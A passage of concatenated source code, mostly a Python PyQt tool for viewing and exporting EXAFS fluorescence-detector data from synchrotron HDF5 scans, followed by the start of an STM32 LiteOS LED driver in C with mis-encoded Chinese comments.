incomingSignalShape = np.array(lst[0]).shape
if len(incomingSignalShape) > 0:
self.moveableValue = lst[0]
else:
self.moveableValue.append(lst[0])
if not self.counterValues:
self.counterValues = [[] for i in lst[1:]]
if len(lst[1:]) != len(self.counterValues):
raise ValueError("wrong length of data")
if len(incomingSignalShape) > 0:
for data, (ic, counterValue) in zip(lst[1:], enumerate(self.counterValues)):
self.counterValues[ic] = data
else:
for data, counterValue in zip(lst[1:], self.counterValues):
counterValue.append(data)
self.nPointsReceived += 1
self.pointsReceived.setText(': {0} point{1}'.format(
self.nPointsReceived, 's' if self.nPointsReceived > 1 else ''))
if self.tabWidget.currentIndex() == 0:
if self.nPointsReceived % FRAME_CHUNK_GENERAL == 0:
self.updatePlots()
# if not self.isXAFSenabled:
self.app.processEvents()
def setMuData(self, lst):
"""lst = [e, muT] + [muFY]*N"""
if not self.isXAFSenabled:
return
incomingSignalShape = np.array(lst[0]).shape
if len(incomingSignalShape) > 0:
self.emu = lst[0]
self.muT = lst[1]
else:
self.emu.append(lst[0])
self.muT.append(lst[1])
if self.isFYenabled:
if not self.muFs:
self.muFs = [[] for i in lst[2:]]
if len(lst[2:]) != len(self.muFs):
raise ValueError("wrong length of mu data")
if len(incomingSignalShape) > 0:
for data, (im, muf) in zip(lst[2:], enumerate(self.muFs)):
self.muFs[im] = data
else:
for data, muf in zip(lst[2:], self.muFs):
muf.append(data)
# if self.tabWidget.currentIndex() == 1:
# if self.nPointsReceived % FRAME_CHUNK_MU == 0:
# self.updatePlots()
# elif self.tabWidget.currentIndex() == 2:
# if self.nPointsReceived % FRAME_CHUNK_EXAFS == 0:
# self.updatePlots()
self.updatePlots()
self.app.processEvents()
def setEXAFSdata(self, lst):
if not lst:
return
ks, chis, fts, winFT = lst
visTr = self.cbEXAFSTr.checkState()
visFY = self.cbEXAFSFY.checkState()
self.curvesChi[0].setData(ks[0], chis[0])
self.curvesChi[0].setVisible(visTr)
try:
chimaxTr = chis[0].max() if visTr else 1
chimaxFY = max([chi.max() for chi in chis[1:]]) if visFY else 1
chimax = max(chimaxTr, chimaxFY)
except ValueError:
chimax = 1
self.curvesChi[1].setData(ks[-1], winFT/winFT.max()*chimax)
self.curvesFT[0].setData(self.exafs_extractor.r, fts[0])
self.curvesFT[0].setVisible(visTr)
for k, chi, ft, curveChi, curveFT in zip(
ks[1:], chis[1:], fts[1:],
self.curvesChi[2:], self.curvesFT[1:]):
curveChi.setData(k, chi)
curveFT.setData(self.exafs_extractor.r, ft)
curveChi.setVisible(visFY)
curveFT.setVisible(visFY)
self.app.processEvents()
def updatePlots(self):
if self.tabWidget.currentIndex() == 0: # raw signals
x = np.array(self.moveableValue)
d = [np.array(counterValue) for counterValue in self.counterValues]
if not (len(d) == len(self.locations)):
return
# raise ValueError("wrong length of raw data")
nloc1, nloc2, nloc3, nloc4 = 0, 0, 0, 0
for a, loc in zip(d, self.locations):
if loc == 1:
self.curvesI[nloc1].setData(x, a)
nloc1 += 1
elif loc == 2:
self.curvesIR[nloc2].setData(x, a)
nloc2 += 1
elif loc == 3 and self.isFYenabled:
self.curvesFY[nloc3].setData(x, a)
nloc3 += 1
elif loc == 4 and self.isFYenabled:
self.curvesFYR[nloc4].setData(x, a)
nloc4 += 1
elif self.tabWidget.currentIndex() == 1: # mu
if not self.curvesMuT:
return
e = np.array(self.emu)
# try:
muT = np.array(self.muT)
self.curvesMuT[0].setData(e, muT)
muTP = np.gradient(muT) / np.gradient(e)
muTP = gaussian_filter1d(muTP, 3)
self.curvesMuTP[0].setData(e, muTP)
rese0 = self.exafs_extractor.e0(e, precalcDeriv=muTP)
if rese0 is not None:
_, e0, muTP0 = rese0
self.textE0.setHtml(
'<span style="font-size:10pt">{0:.2f}</span>'. format(e0))
self.textE0.setPos(e0, muTP0)
self.arrowE0.setPos(e0, muTP0)
else:
self.textE0.setPos(0, 0)
self.arrowE0.setPos(0, 0)
if self.isFYenabled:
muFs = [np.array(mu) for mu in self.muFs]
if not (len(muFs) == len(self.curvesMuF)):
raise ValueError("wrong length of raw data")
for muF, curve in zip(muFs, self.curvesMuF):
curve.setData(e, muF)
elif self.tabWidget.currentIndex() == 2: # EXAFS
e = np.array(self.emu)
muT = np.array(self.muT)
if self.isFYenabled:
muFs = [np.array(mu) for mu in self.muFs]
if not (len(muFs) == len(self.curvesMuF)):
raise ValueError("wrong length of raw data")
else:
muFs = []
self.exafs_extractor.prepare([e, muT, muFs])
self.threadEXAFS.start()
class Ge32Explorer(QtGui.QMainWindow):
pixDataReady = QtCore.pyqtSignal(list)
def __init__(self):
QtGui.QMainWindow.__init__(self)
self.setAttribute(QtCore.Qt.WA_DeleteOnClose)
self.setWindowTitle("Acquaman EXAFS Explorer")
self.file_menu = QtGui.QMenu('&File', self)
self.file_menu.addAction('&Quit', self.fileQuit,
QtCore.Qt.CTRL + QtCore.Qt.Key_Q)
self.menuBar().addMenu(self.file_menu)
self.help_menu = QtGui.QMenu('&Help', self)
self.menuBar().addSeparator()
self.menuBar().addMenu(self.help_menu)
self.exafs_monitor = MonitorWidget()
self.exafs_monitor.show()
# self.help_menu.addAction('&About', self.about)
self.main_widget = QtGui.QWidget(self)
self.DETECTOR_PIX_TUPLE = ""
self.DETECTOR_SUM_TUPLE = ""
hl = QtGui.QHBoxLayout(self.main_widget)
canvasSplitter = QtGui.QSplitter()
canvasSplitter.setChildrenCollapsible(False)
canvasSplitter.setOrientation(QtCore.Qt.Horizontal)
hl.addWidget(canvasSplitter)
fileNav = QtGui.QTreeView()
fileModel = QtGui.QDirModel()
# fileModel = QtGui.QFileSystemModel()
# fileModel.setRootPath(ROOTPATH)
# fileNav.setRootIndex(fileModel.index(ROOTPATH))
fileNav.setSortingEnabled(True)
fileNav.header().sortIndicatorChanged.connect(fileModel.sort)
fileNav.sortByColumn(0, QtCore.Qt.AscendingOrder)
fileNav.setModel(fileModel)
fileNav.doubleClicked.connect(self.load_data)
lw = QtGui.QWidget(self.main_widget)
l = QtGui.QVBoxLayout()
lw.setLayout(l)
scaleValidator = QtGui.QIntValidator()
scaleValidator.setRange(0, DETECTOR_NCHANNELS)
pixTab = QtGui.QTabWidget()
# pixPanel = QtGui.QGroupBox()
# pixPanel.setTitle('MCA Detector channels')
self.pixLayout = []
self.pixList = [[]]
self.slider = []
self.pixEdit = []
for idet in range(MAX_DETECTORS):
detLayout = QtGui.QVBoxLayout()
self.slider.append(QtGui.QSlider(QtCore.Qt.Horizontal))
self.slider[idet].setRange(0, DETECTOR_NCHANNELS)
self.slider[idet].setTickInterval(1)
self.slider[idet].valueChanged.connect(self.show_frame)
self.pixEdit.append(QtGui.QLineEdit('0'))
self.pixEdit[idet].editingFinished.connect(lambda: self.slider[idet].setValue(
int(self.pixEdit[idet].text())))
self.pixEdit[idet].setMaximumWidth(50)
self.pixEdit[idet].setValidator(scaleValidator)
hlayout = QtGui.QHBoxLayout()
hlayout.addWidget(self.slider[idet])
hlayout.addWidget(self.pixEdit[idet])
try:
self.slider[idet].setTickPosition(QtGui.QSlider.TicksAbove)
except:
print("slider: unknown settings")
pixPanel = QtGui.QWidget()
self.pixLayout.append(QtGui.QGridLayout())
detLayout.addLayout(hlayout)
for ipix in range(32):
self.add_pix_cb(idet, ipix)
for ipix in range(31):
self.pixList[idet][ipix+1].setVisible(False)
self.pixList.append([])
detLayout.addLayout(self.pixLayout[idet])
pixPanel.setLayout(detLayout)
pixPanel.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Fixed)
pixTab.addTab(pixPanel, "")
if idet > 0:
pixTab.setTabEnabled(idet, False)
# tabBarCB = QtGui.QCheckBox("")
# tabBarCB
pixTab.setSizePolicy(QtGui.QSizePolicy.Expanding,
QtGui.QSizePolicy.Fixed)
self.pixTab = pixTab
self.mplFig = Figure()
self.mplAx = self.mplFig.add_subplot(111)
mplWidget = QtGui.QWidget()
mplLayout = QtGui.QVBoxLayout()
paletteWidget = FigureCanvas(self.mplFig)
self.load_data(None)
self.im = self.mplAx.imshow(self.sumChannel.T, cmap='jet',
extent=(self.eaxis[0], self.eaxis[-1],
0, 4095*FLUOBIN),
aspect='auto',
interpolation='none',
origin='lower')
# self.addToolBar(NavigationToolbar(paletteWidget, self))
mplLayout.addWidget(NavigationToolbar(paletteWidget, self))
self.pixDataReady.connect(self.exafs_monitor.dataReceiver.hdf_data_listener)
self.span = SpanSelector(self.mplAx, self.onROIselect, 'vertical',
useblit=True, rectprops=dict(alpha=0.3,
facecolor='white'),
button=1)
infoWidget = QtGui.QGroupBox()
vlayout = QtGui.QVBoxLayout()
# roiTabs = QtGui.QTabWidget()
# roiPanel = QtGui.QWidget()
roiPanel = QtGui.QGroupBox('ROI')
panelLayout = QtGui.QVBoxLayout()
roiScroll = QtGui.QScrollArea()
roiWidget = QtGui.QWidget()
self.roiButtonGroup = QtGui.QButtonGroup()
self.roiButtonGroup.buttonClicked.connect(self.updateROIs)
roiLayout = QtGui.QVBoxLayout()
self.roiPanels = []
for chan in range(16):
roiChan = ROIPanel(self.roiButtonGroup, chan, 0, 0, 0)
roiChan.roimaxEdit.editingFinished.connect(lambda: self.onROIselect(None, None))
roiChan.roiminEdit.editingFinished.connect(lambda: self.onROIselect(None, None))
roiChan.elineEdit.editingFinished.connect(
lambda: self.plot_lines(None, 1))
roiLayout.addWidget(roiChan)
if chan > 0:
roiChan.setVisible(False)
self.roiPanels.append(roiChan)
roiLayout.addStretch(1)
self.roiButtonGroup.button(0).setChecked(True)
self.currentROIPanel = self.roiPanels[0]
roiWidget.setLayout(roiLayout)
roiScroll.setWidget(roiWidget)
roiScroll.setHorizontalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOff)
roiScroll.setWidgetResizable(True)
panelLayout.addWidget(roiScroll)
roiPanel.setLayout(panelLayout)
vlayout.addWidget(roiPanel)
# roiTabs.addTab(roiPanel, 'ROI')
# pfPanel = QtGui.QWidget()
pfPanel = QtGui.QGroupBox('Peak fitting')
pfLayout = QtGui.QVBoxLayout()
pfCB = QtGui.QCheckBox('Enabled (really slow)')
pfCB.setCheckState(0)
self.PFStatus = False
pfCB.stateChanged.connect(self.switchPF_ROI)
pfLayout.addWidget(pfCB)
self.PFModel = 'Gaussian'
self.pfButtonGroup = QtGui.QButtonGroup()
for iFS, funcStr in enumerate(['Gaussian', 'Lorentzian', 'Voigt']):
funcRB = QtGui.QRadioButton(funcStr)
self.pfButtonGroup.addButton(funcRB, iFS)
if iFS == 0:
funcRB.setChecked(True)
pfLayout.addWidget(funcRB)
self.pfButtonGroup.buttonClicked['int'].connect(self.updatePFs)
pfPanel.setLayout(pfLayout)
# roiTabs.addTab(pfPanel,'Peak fitting')
# vlayout.addWidget(roiTabs)
vlayout.addWidget(pfPanel)
linesWidget = QtGui.QGroupBox("Lines")
hlayout = QtGui.QVBoxLayout()
label = QtGui.QLabel('Edge position, eV')
self.edgeEdit = QtGui.QLineEdit('0')
self.edgeEdit.editingFinished.connect(lambda: self.plot_lines(
float(self.edgeEdit.text()), 0))
hlayout.addWidget(label)
hlayout.addWidget(self.edgeEdit)
linesWidget.setLayout(hlayout)
vlayout.addWidget(linesWidget)
plotPropWidget = QtGui.QGroupBox("Energy scale for 2D")
hlayout = QtGui.QVBoxLayout()
buttonGroup = QtGui.QButtonGroup()
button1 = QtGui.QRadioButton("eV (real scale)")
button1.setChecked(True)
self.mapEax = 0
button2 = QtGui.QRadioButton("points (faster, wrong scale)")
buttonGroup.addButton(button1)
buttonGroup.addButton(button2)
button1.clicked.connect(self.updateEnergyAxis)
button2.clicked.connect(self.updateEnergyAxis)
hlayout.addWidget(button1)
hlayout.addWidget(button2)
plotPropWidget.setLayout(hlayout)
vlayout.addWidget(plotPropWidget)
# vlayout.addStretch(1)
exportGroup = QtGui.QGroupBox("Export")
agLayout = QtGui.QVBoxLayout()
self.fileNameEdit = QtGui.QLineEdit("No data")
self.exAllCB = QtGui.QCheckBox("Export all enabled channels")
exportButton = QtGui.QPushButton('Export to ASCII')
exportButton.clicked.connect(self.exportToASCII)
agLayout.addWidget(self.fileNameEdit)
agLayout.addWidget(self.exAllCB)
agLayout.addWidget(exportButton)
exportGroup.setLayout(agLayout)
vlayout.addWidget(exportGroup)
infoWidget.setLayout(vlayout)
infoWidget.setSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.QSizePolicy.Expanding)
# self.roiCountStr = "Total ROI counts for channel {0}: {1}"
# self.totalROIcount = QtGui.QLabel(self.roiCountStr.format(
# 'SUM', np.sum(self.totalSum[:, self.roi[0]:self.roi[-1]])))
# vlayout.addWidget(self.totalROICount)
# self.totalCountStr = "Total counts for channel {0}: {1}"
# self.totalCount = QtGui.QLabel(self.totalCountStr.format(
# 'SUM', np.sum(self.totalSum)))
# vlayout.addWidget(self.totalCount)
hlayout = QtGui.QHBoxLayout()
hsplit = QtGui.QSplitter()
hsplit.setChildrenCollapsible(False)
hsplit.setOrientation(QtCore.Qt.Horizontal)
hsplit.setLayout(hlayout)
mplLayout.addWidget(paletteWidget)
mplWidget.setLayout(mplLayout)
hlayout.addWidget(mplWidget)
hlayout.addWidget(infoWidget)
# l.addWidget(pixPanel)
l.addWidget(pixTab)
l.addWidget(hsplit)
# l.addStretch()
# l.addWidget(dc)
canvasSplitter.addWidget(fileNav)
canvasSplitter.addWidget(lw)
self.main_widget.setFocus()
self.setCentralWidget(self.main_widget)
def updatePFs(self, buttonID):
self.PFModel = buttonID
if self.PFStatus:
self.send_to_monitor()
def switchPF_ROI(self, state):
self.PFStatus = True if state else False
self.send_to_monitor()
def updateROIs(self, buttonId):
try:
sender = self.sender()
panelId = int(sender.checkedId())
except:
panelId = buttonId
self.currentROIPanel = self.roiPanels[panelId]
ymin = np.float32(self.currentROIPanel.roiminEdit.text())
ymax = np.float32(self.currentROIPanel.roimaxEdit.text())
elEnergy = np.float32(self.currentROIPanel.elineEdit.text())
self.onROIselect(ymin, ymax)
self.plot_lines(elEnergy, 1)
def updateEnergyAxis(self, state):
sender = self.sender()
currentDet = self.pixTab.currentIndex()
if str(sender.text()).startswith("eV"):
self.mapEax = 0
else:
self.mapEax = 1
self.show_frame(self.slider[currentDet].value())
def exportToASCII(self):
header = """XDI/1.0\nEndstation\nBioXAS Beamline - Main Endstation\n\n"""
header += "ROI: {0} to {1} eV\n\n".format(*self.roi)
exportName = os.path.join(os.path.dirname(
self.fileNameStr), self.fileNameEdit.text())
outData = []
for dsName in ['eaxis', 'dwellTime', 'ch1', 'ch2', 'ch3', 'totalSum']:
header += "{} ".format(dsName)
outData.append(np.sum(getattr(self, dsName)[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)], axis=1) if dsName == 'totalSum' else getattr(self, dsName))
if self.exAllCB.checkState():
for DETECTOR_PIX_STR in self.DETECTOR_PIX_TUPLE:
for pixel in self.pixList:
if pixel.checkState():
pixStr = DETECTOR_PIX_STR.format(pixel.text())
header += pixStr + " "
outData.append(np.sum(np.array(
self.scanGroup[pixStr])[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)], axis=1))
np.savetxt(exportName,
np.array(outData).T,
fmt='%.10e',
header=header)
print("Exported to", "{}".format(exportName))
def onROIselect(self, ymin, ymax):
if ymin is not None:
self.currentROIPanel.roiminEdit.setText("{:.2f}".format(ymin))
self.currentROIPanel.roimaxEdit.setText("{:.2f}".format(ymax))
else:
ymin = float(self.currentROIPanel.roiminEdit.text())
ymax = float(self.currentROIPanel.roimaxEdit.text())
try:
self.roispan.remove()
except:
pass
self.roispan = self.mplAx.axhspan(ymin, ymax, alpha=0.3, color='white')
self.roi = [ymin, ymax]
self.send_to_monitor()
def recalculate_sum(self, state):
sender = self.sender()
pixNum = int(sender.text())
currentDet = self.pixTab.currentIndex()
pixStr = self.DETECTOR_PIX_TUPLE[currentDet].format(pixNum)
modifier = 1. if state else -1.
okstate = False if np.isnan(np.sum(np.array(
self.scanGroup[pixStr]))) else True
if okstate:
self.totalSum += modifier *\
np.array(self.scanGroup[pixStr])
self.send_to_monitor()
self.sumChannel = self.totalSum / self.ch1arr
# self.sumChannel /= np.max(self.sumChannel)
if int(self.pixEdit[currentDet].text()) == 0:
self.show_frame(0)
def send_to_monitor(self):
outF = self.fit_peaks() if self.PFStatus else np.sum(
self.totalSum[:, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)],
axis=1)
outMsg = [[os.path.basename(self.fileNameStr)], float(self.edgeEdit.text()), self.eaxis, self.ch1, self.ch2, self.ch3,
[outF]]
self.pixDataReady.emit(outMsg)
def fit_peaks(self):
# plt.figure()
if self.PFModel == 0:
peak1 = models.GaussianModel(prefix='p1_')
elif self.PFModel == 1:
peak1 = models.LorentzianModel(prefix='p1_')
else:
peak1 = models.VoigtModel(prefix='p1_')
params1 = peak1.make_params()
totalFit = np.zeros(self.totalSum.shape[0])
# lastfit = None
# initfit = None
print("Started peak fitting for", len(totalFit), "points")
for ie in range(len(totalFit)):
xrf = self.totalSum[ie, int(self.roi[0]*0.1):int(self.roi[-1]*0.1)]
datax = np.linspace(0, len(xrf)-1, len(xrf))
center = (self.roi[-1]*0.1 - self.roi[0]*0.1) * 0.5
params1['p1_center'].set(value=center, min=center-30, max=center+30)
params1['p1_sigma'].set(value=8, min=0.1, max=100)
xrfmax = np.max(xrf)
params1['p1_amplitude'].set(value=xrfmax, min=xrfmax*0.01, max=xrfmax*100)
output = peak1.fit(xrf, params1, x=datax)
peak_integral = output.best_values['p1_amplitude']
# lastparams = params1
# lastbest = output.best_values
# print(self.eaxis[ie], peak_integral)
totalFit[ie] = peak_integral
# lastfit = output.best_fit
# initfit = output.init_fit
# print(lastparams)
# print(lastbest)
# plt.plot(datax, xrf, 'b+')
# plt.plot(datax, lastfit, 'r-')
# plt.plot(datax, initfit, 'g-')
# plt.show()
print("Done")
return totalFit
def load_data(self, index):
self.beamline = None
if index is None:
self.eaxis = np.linspace(0, 100, 101)
self.dwellTime = np.zeros_like(self.eaxis)
self.ch1 = np.ones_like(self.eaxis)
self.ch2 = np.zeros_like(self.eaxis)
self.ch3 = np.zeros_like(self.eaxis)
ch4 = np.zeros((len(self.eaxis), 1024))
self.fileNameStr = "No Data"
self.ch1arr = np.zeros_like(ch4)
self.sumChannel = np.zeros_like(ch4)
self.sumChannel[0, 0] = 1
self.sourceName = "No Data"
self.f = None
self.scanGroup = []
else:
if not index.model().isDir(index):
fileName = index.model().filePath(index)
self.fileNameStr = fileName # .split("\\")[-1]
self.fileNameEdit.setText("{}.dat".format(
os.path.basename(self.fileNameStr)))
self.sourceName = self.fileNameStr
try:
self.f = h5py.File(fileName, 'r')
self.scanGroup = self.f['scan'] # BioXAS scan group name
if 'BioXASMainInboardDetector' in self.scanGroup.keys() or\
'BioXASMainOutboardDetector' in self.scanGroup.keys():
self.beamline = 'BioXAS-Main'
elif 'Ge32Element' in self.scanGroup.keys():
self.beamline = 'BioXAS-Side'
elif 'KETEK' in self.scanGroup.keys():
self.beamline = 'IDEAS'
elif 'Ge13El' in self.scanGroup.keys():
self.beamline = 'VESPERS'
else:
print("Could not identify the beamline based on mca detector name")
if self.beamline is None:
if 'beamline_configuration' in self.f.keys():
beamCfg = self.f['beamline_configuration']
if 'BioXASMainInboardGeDetectorStage' in beamCfg.keys():
self.beamline = 'BioXAS-Main'
elif 'BioXASSideGeDetectorStage' in beamCfg.keys():
self.beamline = 'BioXAS-Side'
else:
print("Could not identify the beamline based on beamline_configuration")
if self.beamline is None:
if 'I0Detector' in self.scanGroup.keys():
self.beamline = 'BioXAS-Main' # It can be Side as well, but the dataset names would be the same
elif 'I_0' in self.scanGroup.keys() or\
'Reference' in self.scanGroup.keys():
self.beamline = 'IDEAS'
elif 'MiniIonChamber' in self.scanGroup.keys() or\
'PostIonChamber' in self.scanGroup.keys() or\
'SplitIonChamber' in self.scanGroup.keys():
self.beamline = 'VESPERS'
else:
print("CAN'T IDENTIFY THE FILE STRUCTURE") # TODO: data selection dialog
if self.beamline is None:
self.load_data(None)
return
axisnames = re.findall(r'AxisValues.*?\'', (str(self.scanGroup.keys())))
if len(axisnames) == 1:
axisname = axisnames[0].strip(('\' ,'))
self.eaxis = np.array(self.scanGroup[axisname])
elif len(axisnames) == 2:
print("Two-dimensional scans not supported")
else:
print("CAN'T IDENTIFY THE FILE STRUCTURE") # TODO: data selection dialog
self.dwellTime = np.array(self.scanGroup[dataFormats[self.beamline]['dwellTime']])
self.ch1 = np.array(self.scanGroup[dataFormats[self.beamline]['I0']])
self.ch2 = np.array(self.scanGroup[dataFormats[self.beamline]['I1']])
self.ch3 = np.array(self.scanGroup[dataFormats[self.beamline]['I2']])
# if isinstance(dataFormats[self.beamline]['mcaTotal'], tuple):
self.DETECTOR_SUM_TUPLE = dataFormats[self.beamline]['mcaTotal']
# self.DETECTOR_PIX_STR = dataFormats[self.beamline]['mcaSingle'][0]
# else:
# self.DETECTOR_SUM_STR = dataFormats[self.beamline]['mcaTotal']
self.DETECTOR_PIX_TUPLE = dataFormats[self.beamline]['mcaSingle'] if\
'mcaSingle' in dataFormats[self.beamline].keys() else self.DETECTOR_SUM_TUPLE
ch4 = np.array(self.scanGroup[self.DETECTOR_SUM_TUPLE[0]])
fluolen = ch4.shape[1]
extents = (self.eaxis[0], self.eaxis[-1], 0, (fluolen-1)*10)
self.im.set_extent(extents)
except:
raise
self.load_data(None)
return
self.roi = [0, np.max(ch4.shape[1])*FLUOBIN]
self.totalSum = np.zeros_like(ch4)
if index is not None:
for idet in range(MAX_DETECTORS):
self.pixTab.setTabText(idet, "")
if idet > 0:
self.pixTab.setTabEnabled(idet, False)
for idet, DETECTOR_PIX_STR in enumerate(self.DETECTOR_PIX_TUPLE):
self.pixTab.setTabText(idet, f"{self.DETECTOR_SUM_TUPLE[idet]}")
self.pixTab.setTabEnabled(idet, True)
for ichan in range(32):
self.pixList[idet][ichan].setVisible(False)
for ichan in range(32):
pixStr = DETECTOR_PIX_STR.format(ichan+1)
if pixStr in self.scanGroup.keys():
okstate = False if np.isnan(np.sum(np.array(
self.scanGroup[pixStr]))) else True
if self.pixList[idet][ichan].checkState() and okstate: # and ichan not in [4,5,6,7,15]:
self.totalSum += np.array(self.scanGroup[pixStr])
self.pixList[idet][ichan].setVisible(True)
if DETECTOR_PIX_STR == self.DETECTOR_SUM_TUPLE[idet]:
break
else:
break
self.slider[idet].setRange(0, ichan+1)
self.pixEdit[idet].validator().setRange(0, ichan+1)
self.ch1arr = (self.ch1[:, np.newaxis]*np.ones_like(ch4))
self.sumChannel = self.totalSum / self.ch1arr
# self.sumChannel /= np.max(self.sumChannel)
currentPix = int(self.pixEdit[0].text())
self.show_frame(currentPix)
try:
if 'emission_lines' in self.f.keys():
lastroi = 0
for iroi, (roiname, roivalue) in enumerate(self.f['emission_lines'].items()):
roimin, roimax, roienergy =\
np.float32(roivalue['lowerBound']),\
np.float32(roivalue['upperBound']),\
np.float32(roivalue['energy'])
self.roiPanels[iroi].update_rois(roimin, roimax)
self.roiPanels[iroi].update_energy(roienergy)
self.roiPanels[iroi].roiRButton.setText(str(roiname))
self.roiPanels[iroi].setVisible(True)
lastroi = int(iroi)+1
for roichan in range(16-lastroi):
self.roiPanels[roichan+lastroi].setVisible(False)
self.currentROIPanel = self.roiPanels[0]
self.currentROIPanel.roiRButton.setChecked(True)
if lastroi > 0:
self.updateROIs(0)
except:
raise
print("Can't load ROIs")
edgePos = min(self.eaxis[-1], self.eaxis[0]+200)
try:
if 'scan_regions' in self.f.keys():
if len(self.f['scan_regions']) > 0:
for regionv in self.f['scan_regions'].values():
if 'edgeEnergy' in regionv:
edgePos = np.float32(regionv['edgeEnergy'])
break
except:
print("Can't load edge position")
self.send_to_monitor()
self.edgeEdit.setText("{:.2f}".format(edgePos))
self.plot_lines(edgePos, 0)
def add_pix_cb(self, idet, ipix):
row = ipix // 8
col = ipix - row * 8
pix = QtGui.QCheckBox(str(ipix+1))
pix.setChecked(True)
pix.stateChanged.connect(self.recalculate_sum)
# layout.addWidget(pix, row, col)
self.pixLayout[idet].addWidget(pix, row, col)
self.pixList[idet].append(pix)
def plot_lines(self, energy, mode):
if mode:
try:
self.emissionLinePlot.remove()
except:
pass
if energy is None:
energy = np.float32(self.currentROIPanel.elineEdit.text())
self.emissionLinePlot = self.mplAx.axhline(
energy, color='red', linewidth=1)
else:
try:
self.absorptionLinePlot.remove()
except:
pass
self.absorptionLine = energy
self.absorptionLinePlot = self.mplAx.axvline(
energy, color='yellow', linewidth=1)
self.send_to_monitor()
self.mplFig.canvas.draw()
self.mplFig.canvas.blit()
def show_frame(self, ichan):
currentDet = self.pixTab.currentIndex()
self.pixEdit[currentDet].setText(str(ichan))
# print(currentDet, ichan)
pixStr = self.DETECTOR_PIX_TUPLE[currentDet].format(ichan) if ichan > 0 else\
self.DETECTOR_SUM_TUPLE[currentDet]
if not pixStr in self.scanGroup:
return
fluolen = self.totalSum.shape[1]
fluoax = np.linspace(0, (fluolen-1)*FLUOBIN, fluolen)
eax = np.linspace(self.eaxis[0], self.eaxis[-1],
int(self.eaxis[-1] - self.eaxis[0]))
data = np.array(self.scanGroup[pixStr])/self.ch1arr if ichan > 0 else\
self.sumChannel
# data = self.ch4
plotArray = data.T / np.max(data)
# It's a workaround for acquaman bug/feature,
# when the next region starts at the same energy
# where the previous region ends
xax = np.copy(self.eaxis)
diffTest = np.diff(xax) <= 0
if any(diffTest):
xax[np.where(diffTest)] -= 1e-3
# End fix
if self.mapEax == 0:
f = interp2d(xax, fluoax, plotArray)
interpData = f(eax, fluoax)
else:
interpData = plotArray
self.im.set_data(interpData)
self.im.set_cmap('jet')
# print(pixStr)
self.mplAx.set_title(pixStr)
self.mplFig.canvas.draw()
self.mplFig.canvas.blit()
def fileQuit(self):
self.close()
def closeEvent(self, ce):
self.fileQuit()
class ROIPanel(QtGui.QGroupBox):
lineEditUpdated = QtCore.pyqtSignal(int, int)
def __init__(self, bGr, chan, e0, emin, emax):
QtGui.QGroupBox.__init__(self)
# roiWidget = QtGui.QGroupBox()
hlayout = QtGui.QGridLayout()
roiRButton = QtGui.QRadioButton(str(chan+1))
# roiRButton.clicked.connect(self.updateROIs)
bGr.addButton(roiRButton, chan)
self.roiRButton = roiRButton
hlayout.addWidget(roiRButton, 0, 0, 2, 1)
scaleValidator = QtGui.QDoubleValidator()
scaleValidator.setRange(0, 4095*FLUOBIN, 3)
roiminEdit = QtGui.QLineEdit(str(emin))
roiminEdit.setValidator(scaleValidator)
roiminEdit.setMaximumWidth(75)
roimaxEdit = QtGui.QLineEdit(str(emax))
roimaxEdit.setValidator(scaleValidator)
roimaxEdit.setMaximumWidth(75)
label = QtGui.QLabel('Energy')
elineEdit = QtGui.QLineEdit(str(e0))
elineEdit.setValidator(scaleValidator)
# elineEdit.setMaximumWidth(75)
hlayout.addWidget(label, 0, 1)
hlayout.addWidget(elineEdit, 0, 2, 1, 3)
label = QtGui.QLabel('Min')
hlayout.addWidget(label, 1, 1)
hlayout.addWidget(roiminEdit, 1, 2)
# hlayout.addStretch(1)
label = QtGui.QLabel('Max')
hlayout.addWidget(label, 1, 3)
hlayout.addWidget(roimaxEdit, 1, 4)
self.roiminEdit = roiminEdit
self.roimaxEdit = roimaxEdit
self.elineEdit = elineEdit
self.setLayout(hlayout)
def update_rois(self, roimin, roimax):
self.roiminEdit.setText("{:.2f}".format(roimin))
self.roimaxEdit.setText("{:.2f}".format(roimax))
def update_energy(self, energy):
self.elineEdit.setText("{:.2f}".format(energy))
if __name__ == '__main__':
import sys
app = QtGui.QApplication([])
# mw = MonitorWidget()
mw = Ge32Explorer()
# mw.setStyleSheet("background-color: #000")
# mw.setWindowTitle("Acquaman EXAFS Explorer")
mw.show()
sys.exit(app.exec_())
```
|
yxsyxs/LiteOS_Connect_to_3rd_Cloud
|
yxsyxs/LiteOS_Connect_to_3rd_Cloud
los_bsp_led.c
```#include "stm32f4xx.h"
#include "stm32f4xx_rcc.h"
#include "stm32f4xx_gpio.h"
#include "los_bsp_led.h"
#define LED1_PIN GPIO_Pin_10
#define LED1_GPIO_PORT GPIOH
#define LED1_GPIO_CLK RCC_AHB1Periph_GPIOH
#define LED2_PIN GPIO_Pin_11
#define LED2_GPIO_PORT GPIOH
#define LED2_GPIO_CLK RCC_AHB1Periph_GPIOH
#define LED3_PIN GPIO_Pin_12
#define LED3_GPIO_PORT GPIOH
#define LED3_GPIO_CLK RCC_AHB1Periph_GPIOH
/* ๅธฆๅๅฎ๏ผๅฏไปฅๅๅ
่ๅฝๆฐไธๆ ทไฝฟ็จ */
#define LED1(a) if (a) \
GPIO_SetBits(LED1_GPIO_PORT,LED1_PIN);\
else \
GPIO_ResetBits(LED1_GPIO_PORT,LED1_PIN)
#define LED2(a) if (a) \
GPIO_SetBits(LED2_GPIO_PORT,LED2_PIN);\
else \
GPIO_ResetBits(LED2_GPIO_PORT,LED2_PIN)
#define LED3(a) if (a) \
GPIO_SetBits(LED3_GPIO_PORT,LED3_PIN);\
else \
GPIO_ResetBits(LED3_GPIO_PORT,LED3_PIN)
/* ็ดๆฅๆไฝๅฏๅญๅจ็ๆนๆณๆงๅถIO */
#define digitalHi(p,i) {p->BSRRL=i;} //่ฎพ็ฝฎไธบ้ซ็ตๅนณ
#define digitalLo(p,i) {p->BSRRH=i;} //่พๅบไฝ็ตๅนณ
#define digitalToggle(p,i) {p->ODR ^=i;} //่พๅบๅ่ฝฌ็ถๆ
/* ๅฎไนๆงๅถIO็ๅฎ */
#define LED1_TOGGLE digitalToggle(LED1_GPIO_PORT,LED1_PIN)
#define LED1_OFF digitalHi(LED1_GPIO_PORT,LED1_PIN)
#define LED1_ON digitalLo(LED1_GPIO_PORT,LED1_PIN)
